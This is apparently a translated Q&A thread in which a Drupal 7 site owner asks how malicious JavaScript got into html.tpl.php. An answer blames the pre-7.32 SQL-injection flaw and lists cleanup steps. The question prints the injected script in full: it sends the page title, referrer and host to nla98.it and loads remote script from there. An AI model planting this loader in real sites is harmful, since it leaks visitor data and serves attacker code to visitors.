【问题标题】:Malicious code injected into Drupal 7 website (html.tpl.php)恶意代码注入 Drupal 7 网站 (html.tpl.php)
【发布时间】:2016-01-19 14:51:37
【问题描述】:

最近我的 Drupal 站点在 7.23 上被卡住了。我必须回到过去,恢复旧数据库,然后复制/粘贴 HTML 以获得当前站点的干净版本。不幸的是,即使在经历了所有这些之后,今天我仍在检查我的网站,当我加载管理仪表板时,我在浏览器的左下方看到了一个尴尬的 URL。 URL 是“nla98.it”。所以我使用 Sublime 文本在文件中查找并找到以下代码,我肯定没有将其插入到我的 modules/system/html.tpl.php 中:

<script>
var a=''; setTimeout(10);
var default_keyword = encodeURIComponent(document.title);
var se_referrer = encodeURIComponent(document.referrer);
var host = encodeURIComponent(window.location.host);
var base = "http://nla98.it/js/jquery.min.php";
var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host;
var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url);

if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){
document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');
}
</script>

显然这是执行代码的某种脚本。但我的问题是,这是如何注入我的网站的?我正在运行 Drupal 7,升级到 7.41,并且我已经多次运行更新脚本和 cron。我正在运行的脚本是:

jquery.js?v=1.12.0 
jquery.once.js?v=1.2 
drupal.js 
jquery.cookie.js?v=1.0 
textarea.js?v=7.41 
jquery-ui-1.8.23.custom.min.js 
gumby.js 
modernizr-2.0.6.min.js 
mobile-menu.js 
jquery.ui.totop.js 
easing.js 
plugins.js 
jquery.tweet.js 
main.js 
montreal.js 
supersized.js 
gen_validatorv31.js 
http://html5shiv.googlecode.com/svn/trunk/html5.js
http://platform.linkedin.com/in.js

这可能是我正在使用的一个过时的 JS 中的一个漏洞吗?我使用的模板是蒙特利尔(有点旧)。

感谢您的想法。

【问题讨论】:

  • 获取该文件上次修改时间的时间戳,然后您需要访问您的服务器日志以查看大约在同一时间命中了哪些其他文件。这看起来像是一种自动攻击,所以我猜它在某个地方发现了一个漏洞,你需要找到那个弱点,插入它然后修复所有受影响的文件。

标签: php jquery drupal drupal-7 drupal-modules


【解决方案1】:

在 Drupal 7.32 之前存在一个非常严重的漏洞(登录时的 sql 注入)。您基本上可以做任何事情:以超级管理员身份登录,然后执行 php 代码/上传文件(使用菜单)/创建帐户/...。我怀疑你的问题来自过时的 js 库。 那么升级核心后你可以做什么:

  • 检查是否存在额外文件
  • 检查没有创建额外的帐户。
  • 检查没有引用额外的菜单链接
  • 检查您的自定义文件(模块/主题/...)是否与您的版本副本相同,否则您最好手动检查所有代码。
  • 检查php执行是否被禁用
  • 交叉手指没有任何影响(如果他可以在您的服务器上使用 exec() 执行命令,则没有限制...)。

更快但激进的解决方案(也是唯一一个 100% 安全的解决方案):擦除您的服务器重新安装它,从您的版本控制软件(git、svn、...)复制旧的基础和 drupal 文件并将核心升级到 7.41。

下次多尝试升级你的drupal核心,这个漏洞在被发现后几乎立即修复,大多数被攻击的网站等待更新核心的时间太长。

【讨论】:

    猜你喜欢
    • 2016-02-16
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2013-09-09
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2013-07-01
    相关资源
    最近更新 更多